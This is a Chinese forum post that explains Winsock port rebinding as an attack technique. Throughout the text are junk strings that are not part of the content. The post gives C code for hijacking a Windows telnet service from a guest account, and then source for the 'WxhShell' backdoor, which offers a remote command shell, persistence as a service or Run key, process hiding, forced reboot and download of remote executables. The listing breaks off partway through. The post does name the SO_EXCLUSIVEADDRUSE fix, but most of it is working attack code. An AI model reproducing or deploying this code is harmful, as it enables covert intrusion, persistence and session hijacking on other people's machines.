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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7kZ-`V|\.  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]$VYzE2e  
.9Y,N&V<H  
  saddr.sin_family = AF_INET; *Ou)P9~-L  
]tzO)c)w;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); zL<<`u?  
[ 4_JK  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;F;"Uw  
.%'$3=/oe  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 aj71oki)  
GWU"zWli]z  
  这意味着什么?意味着可以进行如下的攻击: W]t!I}yPR  
cxNb!G  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ba-J-G@YW  
0gEtEH+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <e s>FD  
M,ObzgW  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Y8^pgv  
OZ /!= ;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  keBf^NY  
X}/{90UD  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Y<vsMf_U  
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  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 jv C.T]<B  
.=nx5y z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 qXH\e|  
@vC7j>*4B  
  #include EP|OKXRltA  
  #include %L\buwjy$  
  #include jBTXs5q  
  #include    J9kmIMq-C  
  DWORD WINAPI ClientThread(LPVOID lpParam);   FHu -';  
  int main() ;0R>Dg  
  { krw_1Mm  
  WORD wVersionRequested; R>ak 3Y  
  DWORD ret; !2R<T/9~  
  WSADATA wsaData; NiCH$+c\  
  BOOL val; aa'u5<<W  
  SOCKADDR_IN saddr; $p)7k   
  SOCKADDR_IN scaddr; L6xLD X7y  
  int err;  ;m;a"j5  
  SOCKET s; h#o3qY  
  SOCKET sc; ~_z"So'|F_  
  int caddsize; nJvDkh#h1  
  HANDLE mt; (L{Kg U&{$  
  DWORD tid;   XM+o e0:[  
  wVersionRequested = MAKEWORD( 2, 2 ); U8T"ABvFP  
  err = WSAStartup( wVersionRequested, &wsaData );  b* QRd  
  if ( err != 0 ) { /%#LA  
  printf("error!WSAStartup failed!\n"); [&Z3+/lR*  
  return -1; #DN5S#Ic  
  } @-~ )M_  
  saddr.sin_family = AF_INET; Qe&K  
   scff WqEo  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4TBK:Vm5  
(&w'"-`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); lYS+EVcR  
  saddr.sin_port = htons(23); rT2gX^Mj&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z=B6fu*  
  { fcuU,A  
  printf("error!socket failed!\n"); fY|Bc<,V9)  
  return -1; |b@H]c;"  
  } Tk^J#};N  
  val = TRUE; 5i+0GN3nd  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 yN0!uzdW*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) AX Y.80+  
  { T4OH,^J  
  printf("error!setsockopt failed!\n"); c\n&Z'vK  
  return -1; V>{G$(v$  
  } \8~P3M":c  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; H9x,C/r,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 q*Hf%I"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 w/L^w50pt  
5kK:1hH7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) gbf-3KSp^  
  { Mp V3.  
  ret=GetLastError(); %7X<:f|N8x  
  printf("error!bind failed!\n"); bN ,>,hj  
  return -1; =5UT'3p>  
  } C)7T'[  
  listen(s,2); +B 4&$z  
  while(1) WMo   
  { YpAJ7 E|7  
  caddsize = sizeof(scaddr); "k8Yc<`u  
  //接受连接请求 ]vyu!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X `[P11`  
  if(sc!=INVALID_SOCKET) JQ>GKu~  
  { U5 `h  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); GAZTCkB"  
  if(mt==NULL) [3yzVcr~4  
  { PY4RwN  
  printf("Thread Creat Failed!\n"); ad\?@>[ I  
  break; 2 kOFyD  
  } ^V DJGBk  
  } n~1'M/wh  
  CloseHandle(mt); LDj'L~H  
  } .`iG} j)\  
  closesocket(s); ElAho3 W  
  WSACleanup(); \(nb >K  
  return 0; -/#VD&MJO=  
  }   j.3#rxq  
  DWORD WINAPI ClientThread(LPVOID lpParam) ; bBz<  
  { 5/v,|  
  SOCKET ss = (SOCKET)lpParam; -+'fn$  
  SOCKET sc; 5wy1%/;  
  unsigned char buf[4096]; AoaRlk-#  
  SOCKADDR_IN saddr; Bf72 .gx{0  
  long num; 0{ZYYB&"~J  
  DWORD val; BFU6?\r  
  DWORD ret; g> lJZD@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 m15MA.R>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   fn%Gu s~  
  saddr.sin_family = AF_INET; u|!On  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); m])!'Pa( =  
  saddr.sin_port = htons(23); N1lhlw6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9`"o,wGX3  
  { I)xB I~x  
  printf("error!socket failed!\n"); Qy)+YhE  
  return -1; Xq3n7d.  
  } LvWl*:z  
  val = 100; thoAEG80  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ")/TbT Vu  
  { hX-([o  
  ret = GetLastError(); egBjr?  
  return -1; +GgJFBl  
  } $Hx00 ho  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *%G$[=  
  { U~~Y'R\ NU  
  ret = GetLastError(); 1g_(xwUp+  
  return -1; 6sRe. ct<  
  } wq|~[+y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) RL|13CG OP  
  { O*hd@2hd  
  printf("error!socket connect failed!\n"); S?X2MX  
  closesocket(sc); dQoZh E  
  closesocket(ss); T;cyU9  
  return -1; Wq bfZx  
  } g/)$-Z)Nu  
  while(1) 59?@55  
  { -#=y   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 u!k]Q#2ZR  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 <b-BJ2],k  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \JJ>y  
  num = recv(ss,buf,4096,0); IrAc&Ehul  
  if(num>0) '}3m('u  
  send(sc,buf,num,0); T6X%.tR>`  
  else if(num==0) 45Z"U<I,9  
  break; #q;hX;Va  
  num = recv(sc,buf,4096,0); e ~X<+3<  
  if(num>0) 5^Gv!XW  
  send(ss,buf,num,0); OH.Re6Rr  
  else if(num==0) .U8Se+;  
  break; zeqP:goy  
  } rsbd DTy  
  closesocket(ss); i|'M'^3r  
  closesocket(sc); :<-,[(@bR  
  return 0 ; -{Lc?=  
  } F1V[8I.0  
FiTP-~  
<O`yM2/pS  
========================================================== s\c*ibxM,  
VZOf|o  
下边附上一个代码,,WXhSHELL R3MbTg  
Km~\^(a '  
========================================================== CgLS2  
M`W%nvEDE  
#include "stdafx.h" ^*;{Uj+O~Y  
traJub  
#include <stdio.h> oo{5 :  
#include <string.h> \z}/=Qgc  
#include <windows.h> ]!>ThBMa  
#include <winsock2.h> ~|j:xM(i  
#include <winsvc.h> 9N H"Ik*  
#include <urlmon.h> 6E9y[ %+  
)P6n,\  
#pragma comment (lib, "Ws2_32.lib") >".,=u'  
#pragma comment (lib, "urlmon.lib") ]J^ 9iDTTA  
.s4hFB^n  
#define MAX_USER   100 // 最大客户端连接数 U] 2fV|Hn  
#define BUF_SOCK   200 // sock buffer +k!Y]_&(:f  
#define KEY_BUFF   255 // 输入 buffer r]x;JBy  
&G5=?ub  
#define REBOOT     0   // 重启  N-x~\B!  
#define SHUTDOWN   1   // 关机 {VWUK`3  
)I80Nq  
#define DEF_PORT   5000 // 监听端口 #A8d@]Ps  
Cdjh/+!f  
#define REG_LEN     16   // 注册表键长度 fvajNP  
#define SVC_LEN     80   // NT服务名长度 V?g@pnN"  
>Z#=<  
// 从dll定义API Wsn}Y-x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <1(:W[M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j@c fR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M@a?j<7P,m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]w _,0q  
lYlU8l5>  
// wxhshell配置信息 stnyJ9  
struct WSCFG { y(pHt  
  int ws_port;         // 监听端口 Ol>"'  
  char ws_passstr[REG_LEN]; // 口令 ?^z!yD\  
  int ws_autoins;       // 安装标记, 1=yes 0=no o E+s8Q  
  char ws_regname[REG_LEN]; // 注册表键名 2 }QD>  
  char ws_svcname[REG_LEN]; // 服务名 0y$aGAUm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |Rr^K5hmD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &a?&G'?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &"dT/5}6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Rd5ni2-nve  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %0]vW;Q5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W)"PYC4  
6qA48:/F=  
}; _=c>>X  
+"Pt?k  
// default Wxhshell configuration RU!j"T 5  
struct WSCFG wscfg={DEF_PORT, r`]&{0}23  
    "xuhuanlingzhe", K 7)1wiEj  
    1, e^g3J/aU  
    "Wxhshell", Jtj_R l !  
    "Wxhshell", 9wP_dJvb  
            "WxhShell Service", $!c)%qDq  
    "Wrsky Windows CmdShell Service", %Z-^Bu8;y  
    "Please Input Your Password: ", gY AXUM,  
  1, .p%p_  
  "http://www.wrsky.com/wxhshell.exe", .. qAE.%%  
  "Wxhshell.exe" V:h-K`~ /  
    }; R9SJ;TsE  
KWU ~QAc  
// 消息定义模块 &Z682b$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <uP>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8y}9X v  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z\Y+5<a  
char *msg_ws_ext="\n\rExit."; !g /&ws&  
char *msg_ws_end="\n\rQuit."; .O [RE_j  
char *msg_ws_boot="\n\rReboot..."; Wjt1NfS&  
char *msg_ws_poff="\n\rShutdown..."; `nc cRy< l  
char *msg_ws_down="\n\rSave to "; a^qLyF& F  
\Q"o\:IoIT  
char *msg_ws_err="\n\rErr!"; _8C0z=hz  
char *msg_ws_ok="\n\rOK!"; 1xM'5C?~7  
V\zf yH\~  
char ExeFile[MAX_PATH]; Wvl>iHB  
int nUser = 0; O YGh!sW  
HANDLE handles[MAX_USER];  ^o+}3=  
int OsIsNt; @R= gJ:&a  
-k{n"9a9?  
SERVICE_STATUS       serviceStatus; .s 31D%N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; aG7QLCL  
%iWup:  
// 函数声明 Gx ?p,Fj  
int Install(void); q/xMM `{  
int Uninstall(void); D%v4B`4ua'  
int DownloadFile(char *sURL, SOCKET wsh); !dB {E  
int Boot(int flag); :8}QKp  
void HideProc(void); -;_`>OU{  
int GetOsVer(void); y@[}FgVOh  
int Wxhshell(SOCKET wsl); =whZ?,u1   
void TalkWithClient(void *cs); EWPP&(u3  
int CmdShell(SOCKET sock); kVs'>H@FY  
int StartFromService(void); =>Y b~r71  
int StartWxhshell(LPSTR lpCmdLine); O"4Q=~Y  
^yUel.N5"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l%*KBME  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PL/as3O^A  
c[ ]_gUp8  
// 数据结构和表定义 ; >3q@9\D  
SERVICE_TABLE_ENTRY DispatchTable[] = 5uMh#dm^  
{ v_f8zk  
{wscfg.ws_svcname, NTServiceMain}, I*R[8|  
{NULL, NULL} *6~ODiB  
}; F)/}Q[o8  
@-bX[}.  
// 自我安装 _^Lv8a3(O  
int Install(void) ][- N<  
{ [-!   
  char svExeFile[MAX_PATH]; I_@\O!<y}  
  HKEY key; }}XYV eI  
  strcpy(svExeFile,ExeFile); cZKK\hf<  
!=@Lyt)_b  
// 如果是win9x系统,修改注册表设为自启动 W R@=[G#TJ  
if(!OsIsNt) { h5WS<P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y - 6 ?x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b:/;  
  RegCloseKey(key); N+x0"~T}I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T;jp2 #  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kM5N#|!  
  RegCloseKey(key); \o9-[V#Gm  
  return 0; ";38v jIV  
    } 1g6AzUXg  
  } J@Eqqyf"  
} 98h,VuKVaB  
else { KE:PRX  
T1hr5V<U  
// 如果是NT以上系统,安装为系统服务 /*g3TbUs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); WyVFh AuU  
if (schSCManager!=0) ZzLmsTtzIu  
{ $8o(_8Q)  
  SC_HANDLE schService = CreateService \|nF55W [  
  ( 1"3|6&=  
  schSCManager, a'f"Zdh%w  
  wscfg.ws_svcname, . $uvQpyh  
  wscfg.ws_svcdisp, o^;$-O!/  
  SERVICE_ALL_ACCESS, 6H67$?jMyJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <jF]SN  
  SERVICE_AUTO_START, K^`3Bg  
  SERVICE_ERROR_NORMAL, j?%^N\9  
  svExeFile, C4],7"Sw  
  NULL, BL<.u  
  NULL, t9S zZ2E  
  NULL, C{!L +]/  
  NULL, Mit,X  
  NULL V %'`nJ!  
  ); pDb5t>  
  if (schService!=0) h`dtcJ0  
  { &Yi)|TU3'R  
  CloseServiceHandle(schService); qLBXyQ;U  
  CloseServiceHandle(schSCManager); Y~Y-L<`I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #pP4\n-~hU  
  strcat(svExeFile,wscfg.ws_svcname); F<q'ivj:w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m\`dLrPX4j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zF6 R\w  
  RegCloseKey(key); 1o)@{x/pd  
  return 0; 5=tvB,Ux4  
    } 3TqC.S5+  
  } F,Q\_H##x4  
  CloseServiceHandle(schSCManager); LnIln[g:  
} D"0:n.  
} W)3?T& `  
*LpEH,J  
return 1; >_P7k5Y^  
}  S[!K  
\$Y Kw0K  
// 自我卸载 6M9t<DQV  
int Uninstall(void) =gS?atbX  
{ J#vIz  Q  
  HKEY key; $ysemDq-a\  
`Bk7W]{L  
if(!OsIsNt) { R>SS\YC'X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )I'?]p<  
  RegDeleteValue(key,wscfg.ws_regname); C( 8i0(1  
  RegCloseKey(key); zY~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5vs~8|aRo  
  RegDeleteValue(key,wscfg.ws_regname); D7|[:``  
  RegCloseKey(key);  (n+2z"/  
  return 0; OJiW@Z_\  
  } RY'f%c  
} _@9[c9bO  
} kcKcIn{  
else { \"Z^{Y[,;  
AE`X4q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *,<A[XP  
if (schSCManager!=0) vdw5T&Q{{C  
{ z<aBGG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tJ[yx_mf  
  if (schService!=0) YXI_ '  
  { aTS\NpK&  
  if(DeleteService(schService)!=0) { XWN ra  
  CloseServiceHandle(schService); <WFA3  
  CloseServiceHandle(schSCManager); G n"]<8yl~  
  return 0; |N_tVE  
  } m3W:\LTTp  
  CloseServiceHandle(schService); ST$~l7p  
  } +\g/KbV7  
  CloseServiceHandle(schSCManager); X{4jyi-<  
} /a.4atb0  
} ?q a  
't:$Lx  
return 1; K ;\~otR^  
} 2 Ya)I k{  
lM1~ K  
// 从指定url下载文件 cb!mV5M-g  
int DownloadFile(char *sURL, SOCKET wsh) TI4#A E  
{ ,5oe8\uz  
  HRESULT hr; "1 O!Ck_n  
char seps[]= "/"; %@tKcQ  
char *token; O ]o7  
char *file; MB.\G.bV  
char myURL[MAX_PATH]; &_Kb;UVRj  
char myFILE[MAX_PATH]; j6v|D>I  
-!MrG68  
strcpy(myURL,sURL); FjRt'  
  token=strtok(myURL,seps); xi['knUi2-  
  while(token!=NULL) J1OZG6|e  
  { G8=2=/ !  
    file=token; e??tp]PLn  
  token=strtok(NULL,seps); ~C[p}MED  
  }  gGF]Dq  
iUSP+iC,  
GetCurrentDirectory(MAX_PATH,myFILE); *69{#qN  
strcat(myFILE, "\\"); -e< d//>  
strcat(myFILE, file); e R Y2.!  
  send(wsh,myFILE,strlen(myFILE),0); aT}Mn(F*?  
send(wsh,"...",3,0); ?;84 M@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D4,kGU@  
  if(hr==S_OK) ;1qE:x}'H  
return 0; 8B#;ffkmN  
else tLCu7%P>  
return 1; u=_"* :}  
qLrvKoEX2  
} &"H xAK)f  
O/g|E47  
// 系统电源模块 p3tu_If  
int Boot(int flag) DV+M;rs  
{ ?bFP'.  
  HANDLE hToken; k1tJ$}  
  TOKEN_PRIVILEGES tkp; X&C&DTB  
j("$qp v  
  if(OsIsNt) { \H(r }D$u<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _vOV(#q2a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \H<gKZquR  
    tkp.PrivilegeCount = 1; >,c$e' h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -7MR2)U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wEju`0#;  
if(flag==REBOOT) { O-m=<Fk> D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8Aq [@i  
  return 0; 5)h#NkA\J  
} &L7u//  
else { C]S~DK1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Br/qOO:n$}  
  return 0; 6oTWW@  
} {g8uMt\4  
  } kk|7{83O  
  else { GJZGHUB=>  
if(flag==REBOOT) { PJd7t% m;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Pdgn9  
  return 0; 3a9%djGq  
} ]vj.s/F~  
else { 758`lfz=_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nW)-bAV<  
  return 0; =^liong0  
} $DPMi9,7^  
} -64@}Ts*?  
2n]UNC  
return 1; ~K'e}<-G  
} feJzX*u  
9Z?P/ o  
// win9x进程隐藏模块 M:t!g %  
void HideProc(void) l^`& Tnzv  
{ .II*wK k  
{ 'A`ram  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'iQ  
  if ( hKernel != NULL ) qY,z,o AF  
  { b\6 )whh  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .<xzf4C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &[u>^VO8  
    FreeLibrary(hKernel); :LE0_ .  
  } lKVy{X 3]*  
j@chSk"K  
return; R%gkRx[  
} I+JWDYk  
E lf '1  
// 获取操作系统版本 2Y~UeJ_\Lq  
int GetOsVer(void) TtZZjeg+V  
{ TcB^Sctf  
  OSVERSIONINFO winfo; -Iq W@|N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~bm VpoI  
  GetVersionEx(&winfo); jM <=>P  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /"~ D(bw0=  
  return 1; ZtzSG@f  
  else QuF76&)7  
  return 0; Xk2M.:3`  
} {?2jvv  
[^N8v;O  
// 客户端句柄模块 4Cd#S9<ed  
int Wxhshell(SOCKET wsl) +f5|qbX/\  
{ \R!.VL3Tx$  
  SOCKET wsh; GUX! kj  
  struct sockaddr_in client; Gp 8%n  
  DWORD myID; F4P=Wz]  
B#o/3  
  while(nUser<MAX_USER) tKr.{#)  
{ hMcSB8?  
  int nSize=sizeof(client); g(X-]/C{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0wFa7PyG?  
  if(wsh==INVALID_SOCKET) return 1; L&D+0p^lI  
P<. TiF?@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T/[8w  
if(handles[nUser]==0) xXa* d  
  closesocket(wsh); S7|6dwQ&  
else J A=9EnTU  
  nUser++; C-wwQbdG/  
  } l7{]jKJue  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f82$_1s^  
Sn o7Ru2  
  return 0; @k< e]@r  
} BIu%A]e"  
@ve4rc/LI  
// 关闭 socket Ark+Df/  
void CloseIt(SOCKET wsh) 1/ZvcdYB  
{ ;Avz%2#c`  
closesocket(wsh); YwbRzY-#F  
nUser--; d]3c44kkK{  
ExitThread(0); Yg @&@S]  
} ]1 V,_^D  
4=; . <  
// 客户端请求句柄 XwZ~pY ~  
void TalkWithClient(void *cs) WO}l&Q  
{ {|R@\G.1(  
\>B$x@-wg  
  SOCKET wsh=(SOCKET)cs; t^8 ii  
  char pwd[SVC_LEN]; Nu/D$m'PY  
  char cmd[KEY_BUFF]; o+NPe36  
char chr[1]; 73n|G/9n[  
int i,j; |iGfX,C|  
>"OwdAvX  
  while (nUser < MAX_USER) { 1q?b?.  
PpxLMe]  
if(wscfg.ws_passstr) { qVHXZdGL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )+Nm @+B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?MW *`U  
  //ZeroMemory(pwd,KEY_BUFF); 9+z5 $  
      i=0; S]Y3nI  
  while(i<SVC_LEN) { TT85G&#  
%VV\biO]  
  // 设置超时 rNi]|)-ET  
  fd_set FdRead; 4$5d*7  
  struct timeval TimeOut; t:NYsL  
  FD_ZERO(&FdRead); tQ,,krw~  
  FD_SET(wsh,&FdRead); Z.4 vKO[<  
  TimeOut.tv_sec=8; a&sVcsX  
  TimeOut.tv_usec=0; "w PA;4VQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <yoCW?#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Lip(r3  
U<pG P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pCB^\M%*  
  pwd=chr[0]; t K $r_*  
  if(chr[0]==0xd || chr[0]==0xa) { N5ph70#y3  
  pwd=0; 3SI~?&HU!/  
  break; +hUS sR&  
  } xSf&*wLE  
  i++; rE&` G[(b  
    } T<jo@z1UL  
P#0U[`ltK  
  // 如果是非法用户,关闭 socket Moldv x=M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A`5/u"]*D  
} WfdM~k\  
"e3T;M+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i 4}4U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WxLmzSz{xD  
RJYB=y8l  
while(1) { P"Scs$NOU?  
bNH72gX2Yh  
  ZeroMemory(cmd,KEY_BUFF); Z(|@C(IL0\  
mQbpv'N  
      // 自动支持客户端 telnet标准   Mk3~%`  
  j=0; `Kt]i5[ "  
  while(j<KEY_BUFF) { T>~D(4r|pS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |9fvj6?Y  
  cmd[j]=chr[0]; fGwRv% $^  
  if(chr[0]==0xa || chr[0]==0xd) { _mEW]9Sp  
  cmd[j]=0; he vM'"|4  
  break; z1K}] z%  
  } a>05Yxw  
  j++; : \{>+!`w  
    } +i\ +bR  
q7z;bA  
  // 下载文件 .wdWs tQ  
  if(strstr(cmd,"http://")) { !nm[ZrS P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I^u$H&  
  if(DownloadFile(cmd,wsh)) !,SGKLs.m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q; V*M  
  else p{V_}:|=Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L~Hl?bK  
  } Y:x,pPyl  
  else { x)]_]_vX  
ytmFe!  
    switch(cmd[0]) { ym]12PAU5  
  5PcN$r"P  
  // 帮助 KTmduf7DL  
  case '?': { Ar;uq7c,G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q2$-U&  
    break; F2N)|C<  
  } sy\w ^]  
  // 安装 wU"0@^k]<  
  case 'i': { k2-:! IE  
    if(Install()) FFG/v`NM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L[j73z'  
    else 9 rMP"td  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A>bpP  
    break; ycD}7  
    } 51)Q&,Mo#  
  // 卸载 "mk4O4dF  
  case 'r': { $-=QTX  
    if(Uninstall()) TJ5g? #Wul  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7CGxM  
    else G1!yPQa7d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 34Fc oud);  
    break; Bd8{25{c  
    } eZck$]P(6H  
  // 显示 wxhshell 所在路径 |riP*b  
  case 'p': { fr19C%{  
    char svExeFile[MAX_PATH]; Li?_P5+a  
    strcpy(svExeFile,"\n\r"); &*e(  
      strcat(svExeFile,ExeFile); ycPGv.6  
        send(wsh,svExeFile,strlen(svExeFile),0); [9lfR5=Xw[  
    break; TwaK>t96[  
    } ZaZm$.s n  
  // 重启 `Z' h[-2`  
  case 'b': { }|Ao@UvH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4t]YHLBS  
    if(Boot(REBOOT)) <mk'n6B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VEc^Ap1?'  
    else { Sc?UjEs  
    closesocket(wsh); O:I"<w9_1  
    ExitThread(0); xMpQPTte  
    } /A4^l]H;+3  
    break; +HpPVuV  
    } S>6f0\F/Y%  
  // 关机 rsGQ :c  
  case 'd': { ^^;#Si  
